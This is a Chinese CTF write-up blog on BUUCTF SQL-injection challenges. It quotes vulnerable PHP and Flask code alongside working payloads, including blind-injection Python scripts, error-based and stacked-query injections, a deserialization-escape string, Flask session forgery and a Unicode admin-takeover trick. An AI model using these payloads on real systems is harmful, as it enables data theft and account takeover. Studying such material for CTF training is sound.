BUUCTF[歸納]sql注入相關題目


這是我自己對於sql注入的部分ctf題型的歸納,均來自buuctf的平台環境。

[0CTF 2016]piapiapia

我嘗試了幾種payload,發現有兩種情況。
第一種:Invalid user name 第二種:Invalid user name or password 第一步想到的是盲注或者報錯,因為fuzz一波有一些是沒有過濾掉的。
對於后台的攔截我想到的可能是黑名單或者是正則表達式匹配。
先不管,用字典掃一遍掃到源碼直接下載下來。
每個文件都看了一遍發現root的username是可以使用的,提示出來是Invalid password

這一段是class.php的源代碼

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

這是一段updata.php的代碼:

$user->update_profile($username, serialize($profile));

這里是有一段序列化的數據,這意味着我們可以使用一段序列化的數據進行數據的發送,然后這段數據會在后端進行反序列化讀取數據。

還有一段數據:

    $username = $_SESSION['username'];
    if(!preg_match('/^\d{11}$/', $_POST['phone']))
        die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
        die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
        die('Invalid nickname');

這也是一段過濾的匹配操作。

在update的過程我們可以匹配了,我們傳遞四個參數,phone,email,nackname,以及photo。

進行正則表達式的過濾,賦予到$profile變量中。

調用ipdate_profile這個自定義的函數進行操作,里面的參數已經被序列化了。

查看一下這個函數,他需要傳入username,以及上一步所生成的序列化的profile:

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

看到了是用了filter,就是我們最開始注意到的:

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

既然有序列化,那肯定就有反序列化讀取數據的地方,我在profile找到了,以下是profile的源碼:

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

這里使用到了反序列化逃逸,奇怪的知識增加了hhh。

反序列化的逃逸利用到的還是截斷欺騙,通過反序列化的逃逸我們能夠拋棄院線數據,從而使自己的數據被上傳上去。

在phpstudy上驗證一下:

<?php
$b = 'a:3:{i:0;s:3:"qsq";i:1;s:2:"mx";i:2;s:4:"test";}';
var_dump(unserialize($b));
?>

output:
array(3) { [0]=> string(3) "qsq" [1]=> string(2) "mx" [2]=> string(4) "test" }

反序列化逃逸:

<?php
//$a = array('qsq', 'mx', 'test');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:4:"test";}"
$b = 'a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:5:"wocao";}";i:2;s:4:"test";}';
var_dump(unserialize($b));
?>

output: array(3) { [0]=> string(3) "qsq" [1]=> string(3) "jia" [2]=> string(5) "wocao" }

這就是反序列化逃逸。
在這道題中我們的序列化字符可控,長度也是固定的。 flag在config.php當中,我們需要利用反序列化將config.php的flag給打出來,那么意味着,我們要把這段payload想辦法插進去,";s:5:"photo";s:10:"config.php";}

這里有個問題,那就是剛開始九個正則表達式長度的限制:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

這里我們使用數組就可以繞過,但是數組在序列化之后是這樣子的:
s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo"
我們想要之后的序列化成功,我們也需要進行補齊:
所以我們構造的payload應該是這樣的:
";}s:5:“photo”;s:10:“config.php”;}
這里多了兩個字符變成了34個字符。
搞出三十四個空位就是我們當務之需的了最開始我們看到了什么:

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

就是這里,過濾的地方,加入我們傳入where,那么他會替換為hacker,五字節換成了六字節,那么s=6,此時必然有一個字節是不收掌控的,那么我們寫34個where,那么他就轉換成了34個hacker,原本我們傳遞的是534+34=204個字節,但是由於轉換完之后就是634+34=238個字節,前面的hacker*34把我們設定的204填滿了,此時";}s:5:“photo”;s:10:“config.php”;}就成功出來了,實現了逃逸閉合。

此時我們抓包修改,一切就ok了。
payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

最后我們去查看讀取的文件取得flag。

所以具體步驟:

注冊賬戶
登錄賬戶
隨意提交一些資料抓包
修改nickname為nickname[],數組繞過長度檢測
修改nickname中的內容

圖片進行base64解碼:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{370d3e2c-2161-4531-bfeb-e3093b2913f9}';
?>

[BJDCTF 2nd]簡單注入

這道題先fuzz一下,因為試了一下and什么的被過濾了,所以隨便fuzz一下,發現他過濾的有點少,用的方法可以是bool盲注。
但是由於單引號也被過濾了,所以有點難搞,這個時候轉義符就有作用了,我們使用轉義符進行繞過,姿勢就是admin\,這樣后端我們我們的username就成為了
username='admin \' and password='
這是hint下的內容,告訴了我們后台的判斷語句,其實我們可以猜出來的。 select * from users where username='$_POST["username"]' and password='$_POST["password"]';
按照這樣我們使用二分法進行bool注入就行,剛開始星耀遍歷循環,真是腦子抽了。

#coding:utf-8
import requests
import time

url = "http://aed2ff9b-a59f-4192-94ce-362ee82b9d30.node3.buuoj.cn/index.php"
temp = {}
password = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2         #取中間
    while(low<high):                     #設定條件
        payload = '^ (ascii(substr((password),%d,1))>%d)#' % (i,mid)
        temp={"username":"admin\\","password": payload}
        r = requests.post(url,data=temp)
        print(low,high,mid,":")
        if "P3rh4ps" in r.text:              #條件為真,則向上提一位,假則最高項設為中間數,進行了鎖定將搜索范圍減小至一半
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2                        #取新范圍的一半
    if(mid ==32 or mid ==127):                 #當判斷完成之后進行退出。
        break
    password +=chr(mid)
    print(password)


print("password=",password)  

這樣就能把password和username全部爆出來了。

[CISCN2019 華北賽區 Day1 Web5]CyberPunk

隨手注冊了一下,admin2'#發現在查詢的界面上找不到,加入反斜杠進行轉義然后進行查詢,發現是能夠查詢到的,也就是說注冊界面是存在轉義,但是查詢界面是沒有的,同樣的在修改頁面也是這樣的。

查看了一下頁面,發現·是有file的提示的,所以讀取文件,利用php偽協議:file=php://filter/convert.base64-encode/resource=index.php

php代碼:

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

search.php:

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

config.php:

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

    "host" => "127.0.0.1",
    "username" => "root",
    "password" => "root",
    "dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

confirm.php:

<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

change.php:

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

攻擊點在這里:

if (isset($fetch) && $fetch->num_rows>0){
    $row = $fetch->fetch_assoc();
    $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
    $result = $db->query($sql);
    if(!$result) {
        echo 'error';
        print_r($db->error);
        exit;
    }

同時代碼對於address的限制只存在於$address = addslashes($_POST["address"]);一些特殊符號是沒有作用了,但是這僅僅是第一步,如果我們在進行一次的更新會發生什么,那就是我們的特殊符號是能夠執行的,他會通過拼接加注釋將我們后面的where替換修改掉,所以第二次修改的時候就可能產生注入。
payload:1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

[CISCN2019 總決賽 Day2 Web1]Easyweb

看到了圖片,哥哥,這個id也太明顯了吧:http://cb14ef87-a959-4689-9c46-527c6fa0db17.node3.buuoj.cn/image.php?id=3e9
可能是存在sql注入漏洞的,但是可能存在過濾,不知道他的運行代碼是怎樣的,哈哈。
查看robots.txt文件,其實剛開始我是沒有掃到的,又掃了一遍才掃到,告訴我們:

User-agent:  *
Disallow: *.php.bak

既然不讓我們爬bak,那就看看有什么好東西嘍。
試了一圈:
http://cb14ef87-a959-4689-9c46-527c6fa0db17.node3.buuoj.cn/image.php.bak
在這里是有文件泄露出來的,代碼如下

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

可以看到其實就是sql注入漏洞,過濾了一些敏感的字符。
這個時候就是有掛php代碼審計的部分,在代碼審計的問題中是由一種情況的:有時候我們可以將單引號進行轉義,從而使他和下一個的單引號形成閉合,進行注入,簡單的時候我們username直接\,password的地方放入payload,通過分析這段腳本,我們可以得到payload:\0->\\0->\\這就是我們輸入\0被處理的過程。
后端拼接:select * from images where id='\' or path=' or 1=1#

payload:http://83d7f78d-4253-4c22-adee-58e5da762a6e.node3.buuoj.cn/image.php?id=\0&path=or%20ascii(substr(database(),1,1))>22%23 腳本bool盲注:

import requests

url = r'http://6873d13e-5f19-42e4-bb8f-dec6d9acdeb3.node1.buuoj.cn/image.php'
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = " or id=if(ascii(substr((select password from users limit 1 offset 0),%d,1))>%d,1,0)#" % (x, mid)
        params = {
            'id':'\\\\0',
            'path':payload
        }
        response = requests.get(url, params=params)
        if b'JFIF' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

這個時候我們就進入了文件上傳的界面,我們可以把文件名變為php一句話傳上去,因為我們隨便穿了一個文件上去,可以看到顯示出來的是一個日志文件的路徑,所以我們可以讓這個日志文件記錄我們的一句話木馬的文件名。
PHP開啟短標簽即shortopentag=on時,可以使用<? ?>輸出變量,但<?= ?>不受該條控制。

隨便試了一下,是存在過濾的,但是之對於username那里,admin用戶是存在的。
查看一下有沒有什么提示:MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5只有大寫字母跟數字一眼就知道是base32,解碼之后發現是base64,繼續進行64解密,得到:
select * from user where username = '$name'
好像知道了為什么對於password是沒有過濾機制的了。 我的第一個payload:name='admin&pw=1是有報錯存在的。
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin#'' at line 1接下來方向就是報錯注入了,當然其他注入也是可能的·。
因為上面已經說到了一些是被過濾了,先fuzz一波看看那些關鍵詞沒被過濾,fuzz完之后兩個地方是產生了報錯,還有就是被過濾了長度是419,其余就是415了。 一些比較重要的:=,or,xor,flor,rand,order
payload1:name=admin' AND 1#&pw=1,name=admin' AND 0#&pw=1.
payload2:name=admin' union select 1,2,3,4 from user#&pw=1確定列有4列。
嘗試返回數據,失敗,那么報錯注入就不太可能了,嘗試一下報錯,但是有個致命的就是他過濾了()這兩個符號,那么我們想要使用報錯和時間盲注是不可能的了,得我又跪了,嗚嗚嗚。
涉及到一個知識點:當查詢的數據不存在的時候,聯合查詢就會構造一個虛擬的數據在數據庫中。
最終payload:name=eee' union select 999,'admin','81dc9bdb52d04dc20036dbd8313ed055'%23&pw=1234。我們首先要構造一個不存在的查詢數據即eee,接下來聯合注入,第一列推測可能是id,第二列是username,第三列是password,因為之前有輸入一些亂七八糟的直接是把pw[]按數組打了進去,知道他是md5可能進行了加密,於是1234進行md5加密放到第三列,說實話我是有點沒有理解它的原理,因為我覺得暫時替換了之后,但由於username我們設置的部隊也應該沒有辦法登陸啊。
所以我大膽的猜測一波,其實password和username不是同一波的,也就是password是第二波,此時username對應的所有字段都查出來后,再檢驗密碼就能和查出來的密碼對上。

[RCTF2015]EasySQL

fuzz一波,是存在一些過濾的。
注入的點可能就是在改密碼的那里,但是具體的形式是什么樣子還不知道:還是需要進一步的去探測。
盲猜一下他的語句應該是update, update users set password='xxxx' where username='xxxx' and pwd='202cb962ac59075b964b07152d234b70'
但是單引號這里沒什么反應,所以換一下雙引號,確實是報錯了,在這里使用updatexml進行報錯的注入: payload:"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#
payload:test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#
發現是假的,轉到users表里:test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#
在這里是用到了正則表達式來匹配,關於mysql當中的正則表達式: mysql> SELECT name FROM person_tbl WHERE name REGEXP 'ok$';
這里匹配的是一ok結尾的內容。所以我們根據這個正則表達式對上面進行過濾匹配到以r開頭的列。
在最后我們發現是無法完全輸出的利用reversr結合regexp繼續進行嘗試: username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
查找flag開頭的內容。
payload: username=mochu7"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
利用[::-1]倒一下就好了。
當然用lapd和rpad應該也可以的吧。

[SWPU2019]Web1 1

二次注入,雖然以前有做過一道類似的但是思想卻大不一樣。
這道題禁用了很多函數,盡管我想使用burp,fuzz一遍,但是由於他每次廣告欄都是有上限的,真是有夠麻煩的,and,or,#,information,都被禁掉了,因為報錯什么的在這個環境下都太麻煩,所以就算了。
payload1:-1'/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 又22列,真是有夠麻煩的呢。 -1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

參考具體鏈接:https://www.cnblogs.com/wangtanzhi/p/12241499.html

注入中在mysql默認情況下就可以替代information_schema庫的方法:
https://www.anquanke.com/post/id/193512

bypass information_schema

利用innoDB引擎繞過對information_schema的過濾,這是一種方法但是有時候mysql默認是關閉InnoDB存儲引擎,所以有一定的限制性。

MySQL5.7的新特性

如果我們有權限查sys的話: 在5.7之后mysql新增了sys schemma,我們可以在phpstudy里面查看到這樣一張表:sys.schema_auto_increment_columns,如果數據庫當中的表有一個自增的手段可以是id,也可以是其他列,那么就會被這張表監控到,所以有時候這張表有事很烈害的。
看一下別的視圖:schema_table_statistics_with_buffer此時能看到再上一張表里沒有出現的字段全部出現。
此時我們已經獲取到了表名和庫名,對於列名,我們使用join即可,利用join進行無列名注入:
關於無名注入:我使用了堆疊查詢進行對比來更好地去理解
select5from (select 1,2,3,4,5,6,7,8 from users union select * from users)a;select 1,2,3,4,5,6,7,8 from users union select * from users;
結合實際情況:
select * from users where user_id=1 union select 1,5,2,3,4,5,6,7 from (select 1,2,3,4,5,6,7,8 from users union select * from users)a;

利用join報錯來獲得列名:
select * from users where user_id=1 union all select * from (select * from users as a join users b)c; 其中users為表名,這里會報錯將我們的第一個列名給爆出來。 select * from users where user_id=1 union all select * from (select * from users as a join users b using(user_id))c; 爆出了第二個列名。
select * from users where user_id=1 union all select * from (select * from users as a join users b using(user_id,first_name))c;
參考文章:https://www.anquanke.com/post/id/193512 對於這種無列名注入我的理解就是去繞過了對於列名的使用利用sql數據庫的特想區創建了一些新列名,進行了覆蓋,然后去調用了那些我們創造的列名。

[極客大挑戰 2019]FinalSQL

異或'^'是一種數學運算,當兩條件相同時(同真同假)結果為假,當兩條件不同時(一真一假)結果為真。
腳本:

import requests
url = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php'
flag = ''
for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       #payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
       payload = "http://33e8c85b-d0d4-4777-9143-702ddf10ee0e.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
       res = requests.get(url=payload)

       if 'ERROR' in res.text:
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

腳本二

#然后是二分法,二分法要快很多:
# -*- coding: UTF-8 -*-
import re
import requests
import string

url = "http://5dbbc107-a871-4d45-940a-3b2712330fee.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)                                #數據庫名字          
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)           #表名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)        #列名
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
    data = {"id":sql}
    r = requests.get(url,params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0

    return res

def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)

exp()
print('flag=',flag)

2019強網杯.隨便注

標題都放在這里了隨便注: 隨便試探一下發現是單引號包含的:1' or 1=1 #

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}

看到了這個表單中所有信息,這個時候我先要看這個表,采用堆疊注入:但是要注意堆疊注入並不是在每種情況下都能使用的。大多數時候,因為API或數據庫引擎的不支持,堆疊注入都無法實現。 1' ;show tables ;#

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

看到有兩個表,第一個是這個很長的數字,第二個是words。
嘗試select查看這個表,返回提示:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

查看表的內容:

0';desc `1919810931114514`;#

同時我們也可以使用show命令:

1';show columns from `1919810931114514`;#

無論前者還是后者:要注意在這個數字型的數據庫前必須要加上反引號才能生效,因為在windows系統下,反單引號(`)是數據庫、表、索引、列和別名用的引用符,mysql逐句酷可能不認為這是一個表,但是家伙少年宮反引號就不一樣了。

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}  

這時有兩種方法能夠幫助我們查到flag。

利用預處理語句+堆疊注入
PREPARE name from '[my sql sequece]';   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE name;  //刪除預定義SQL        語句

通過變量傳遞
SET @tn = 'hahaha';  //存儲表名
SET @sql = concat('select * from ', @tn);  //存儲SQL語句
PREPARE name from @sql;   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla;  //刪除預定義SQL語句

payload1:1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from1919810931114514');EXECUTE hacker;#
利用率char函數將ascii碼轉換為字母,然后利用concat函數將他們拼接在一起,這樣就繞過了過濾。
payload2:1';SET @sqli=concat(char(115,101,108,101,99,116),'* from1919810931114514');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3:1';SET @a=concat("s","elect * from1919810931114514");PREPARE test from @a;EXECUTE test;#)
payload4:';handler1919810931114514open;handler1919810931114514read first#
關於函數handler的用法:
https://blog.csdn.net/JesseYoung/article/details/40785137

1';PREPARE xxx from concat(char(115,101,108,101,99,116),' * from1919810931114514 ');EXECUTE xxx;

注冊賬號登錄,打開f12我們能夠看到github的提示,我們把源碼下載下來進行分析。

查看初始化模塊
from flask import Flask
from config import Config
from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
from flask_login import LoginManager

app = Flask(__name__)
app.config.from_object(Config)
db = SQLAlchemy(app)
migrate = Migrate(app, db)
login = LoginManager(app)

from app import routes, models  

查看routes文件

修改password模塊
@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)
register登記注冊模塊
@app.route('/register', methods = ['GET', 'POST'])
def register():

if current_user.is_authenticated:
    return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
    name = strlower(form.username.data)
    if session.get('image').lower() != form.verify_code.data.lower():
        flash('Wrong verify code.')
        return render_template('register.html', title = 'register', form=form)
    if User.query.filter_by(username = name).first():
        flash('The username has been registered')
        return redirect(url_for('register'))
    user = User(username=name)
    user.set_password(form.password.data)
    db.session.add(user)
    db.session.commit()
    flash('register successful')
    return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
查看渲染的index頁面
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}  

發現判斷邏輯: {% if current_user.is_authenticated and session['name'] == 'admin' %} 證明要使用admin賬號才能登陸。

config.py
import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True  

Config類在config模塊中定義:

在Config的類,含有類屬性SECRET_KEY,這里也有兩個同名的不同對象,左面SECRET_KEY是調用os.environ.get返回的對象,作為Config類的類變量,中間SECRET_KEY是調用os.environ.get時,代入以字符串的形式表示的參數。
os.environ是一個存取環境變量的類,環境變量的值用get方法獲取,本例是獲取名稱為'SECRET_KEY'環境變量的值
os.environ,也可以看作字典變量,例如當環境變量'SECRET_KEY'存在時,可以使用os.environ['SECRET_KEY']

flask的session是存儲在客戶端cookie中的,而且flask僅僅對數據進行了簽名。眾所周知的是,簽名的作用是防篡改,而無法防止被讀取。而flask並沒有提供加密操作,所以其session的全部內容都是可以在客戶端讀取的,這就可能造成一些安全問題。
利用腳本我們將session解密,之后修改用戶名為admin,然后再加密,burp截包替換session即可。

{'_fresh': True, '_id': b'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4', 'csrf_token': b'd2495789467d55d9e38c2ffd63e9c578ee1b267a', 'image': b'BUXE', 'name': 'admin', 'user_id': '10'}
unicode欺騙

無論是在register,changepassword模塊他們都加了strlower()進行小寫轉換,右鍵轉到函數的實現。

def strlower(username):
    username = nodeprep.prepare(username)
    return username

使用到nodeprep.prepare函數,該函數專函大小寫字符如下:
ᴬᴰᴹᴵᴺ -> ADMIN -> admin
我們注冊ᴬDMIN用戶,在registr中這個函數沒被使用不被轉義,在login進行第一次的編碼轉換,在changepassword又進行第二次,此時我們用戶名就由ᴬDMIN變為了admin,修改了admin的password。
轉換形式如下:
ᴬᴰᴹᴵᴺ -> ADMIN -> admin

條件競爭

這個在剛入學時候極客大挑戰已經碰見過了,我們利用burpsuit的intruder模塊就能利用,要設置兩個線程同時進行,一個是不行的。

我被虐到了,嗚嗚嗚
當 sql_mode 設置了  PIPES_AS_CONCAT 時,|| 就是字符串連接符,相當於CONCAT() 函數

當 sql_mode 沒有設置  PIPES_AS_CONCAT 時 (默認沒有設置),|| 就是邏輯或,相當於OR函數  

聽說有大佬就三個字母就解決了,我枯了,payload:*,1,聽說是直接猜出了源碼select $_GET['query'] || flag from flag
這種方式拼接出來那就是select *,1||flag from Flag
聽說是因為1和任意字符串或數字使用 ||連接 的值都為1

當然還有一種解法,那是官方的解法: 1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完之后就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
|| 相當於是將 select 1 和 select flag from flag 的結果拼在一起

sql_mode : 它定義了 MySQL 應支持的 SQL 語法,以及應該在數據上執行何種確認檢查,其中的PIPES_AS_CONCAT將 ||視為字符串的連接操作符而非 “或” 運算符  

參考文章:https://blog.csdn.net/qq45552960/article/details/104185620?utmmedium=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.nonecase&depth1-utmsource=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.nonecase

關於MYSQL的sql_mode解析與設置

ONLY_ FULL_ GROUP_B:如果在SELECT中的列,沒有在GROUP BY中出現,那么將 認為這個SQL是不合法的,因為列不在GROUP BY從句中,因為這個設置的存在,我們對於group by的用法只能是類似於select * from users group by id ;並且只能展示group by的字段,要是帶有其他字段便會報錯。
對這種狀態進行修改:

